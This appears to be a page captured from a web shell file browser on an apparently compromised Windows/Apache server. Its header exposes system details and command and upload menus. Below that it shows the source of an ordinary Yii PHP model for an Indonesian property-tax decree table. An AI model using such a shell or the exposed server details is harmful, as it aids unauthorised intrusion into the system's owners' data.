|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/bhumie/upload/../protected/models/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* This is the model class for table "pbb.sk_sk".
*
* The followings are the available columns in table 'pbb.sk_sk':
* @property string $kd_kanwil
* @property string $kd_kantor
* @property string $jns_sk
* @property string $no_sk
* @property string $tgl_sk
* @property string $no_ba_kantor
* @property string $tgl_ba_kantor
* @property string $no_ba_lapangan
* @property string $tgl_ba_lapangan
* @property string $tgl_cetak_sk
* @property string $nip_pencetak_sk
* @property integer $createdby
* @property string $createdtime
* @property integer $updatedby
* @property string $updatedtime
*/
class SkSk extends CBhumieRecord
{
/**
* Returns the static model of the specified AR class.
* @param string $className active record class name.
* @return SkSk the static model class
*/
public static function model($className=__CLASS__)
{
return parent::model($className);
}
/**
* @return string the associated database table name
*/
public function tableName()
{
return 'pbb.sk_sk';
}
/**
* @return array validation rules for model attributes.
*/
public function rules()
{
// NOTE: you should only define rules for those attributes that
// will receive user inputs.
return array(
array('kd_kanwil, kd_kantor, jns_sk, no_sk, tgl_sk, nip_pencetak_sk', 'required'),
//array('createdby, updatedby', 'numerical', 'integerOnly'=>true),
array('kd_kanwil, kd_kantor', 'length', 'max'=>2),
array('jns_sk', 'length', 'max'=>1),
array('no_sk, no_ba_kantor, no_ba_lapangan', 'length', 'max'=>30),
array('nip_pencetak_sk', 'length', 'max'=>18),
array('tgl_ba_kantor, tgl_ba_lapangan, tgl_cetak_sk', 'safe'),
// The following rule is used by search().
// Please remove those attributes that should not be searched.
array('kd_kanwil, kd_kantor, jns_sk, no_sk, tgl_sk, no_ba_kantor, tgl_ba_kantor, no_ba_lapangan, tgl_ba_lapangan, tgl_cetak_sk, nip_pencetak_sk, createdby, createdtime, updatedby, updatedtime', 'safe', 'on'=>'search'),
);
}
/**
* @return array relational rules.
*/
public function relations()
{
// NOTE: you may need to adjust the relation name and the related
// class name for the relations automatically generated below.
return array(
);
}
/**
* @return array customized attribute labels (name=>label)
*/
public function attributeLabels()
{
return array(
'kd_kanwil' => 'Kd Kanwil',
'kd_kantor' => 'Kd Kantor',
'jns_sk' => 'Jns Sk',
'no_sk' => 'Nomor SK',
'tgl_sk' => 'Tanggal SK',
'no_ba_kantor' => 'No BAP Kantor',
'tgl_ba_kantor' => 'Tgl BAP Kantor',
'no_ba_lapangan' => 'No BAP Lapangan',
'tgl_ba_lapangan' => 'Tgl BAP Lapangan',
'tgl_cetak_sk' => 'Tgl Cetak Sk',
'nip_pencetak_sk' => 'Nip Pencetak Sk',
);
}
/**
* Retrieves a list of models based on the current search/filter conditions.
* @return CActiveDataProvider the data provider that can return the models based on the search/filter conditions.
*/
public function search()
{
// Warning: Please modify the following code to remove attributes that
// should not be searched.
$criteria=new CDbCriteria;
$criteria->compare('kd_kanwil',$this->kd_kanwil,true);
$criteria->compare('kd_kantor',$this->kd_kantor,true);
$criteria->compare('jns_sk',$this->jns_sk,true);
$criteria->compare('no_sk',$this->no_sk,true);
$criteria->compare('tgl_sk',$this->tgl_sk,true);
$criteria->compare('no_ba_kantor',$this->no_ba_kantor,true);
$criteria->compare('tgl_ba_kantor',$this->tgl_ba_kantor,true);
$criteria->compare('no_ba_lapangan',$this->no_ba_lapangan,true);
$criteria->compare('tgl_ba_lapangan',$this->tgl_ba_lapangan,true);
$criteria->compare('tgl_cetak_sk',$this->tgl_cetak_sk,true);
$criteria->compare('nip_pencetak_sk',$this->nip_pencetak_sk,true);
$criteria->compare('createdby',$this->createdby);
$criteria->compare('createdtime',$this->createdtime,true);
$criteria->compare('updatedby',$this->updatedby);
$criteria->compare('updatedtime',$this->updatedtime,true);
return new CActiveDataProvider($this, array(
'criteria'=>$criteria,
));
}
}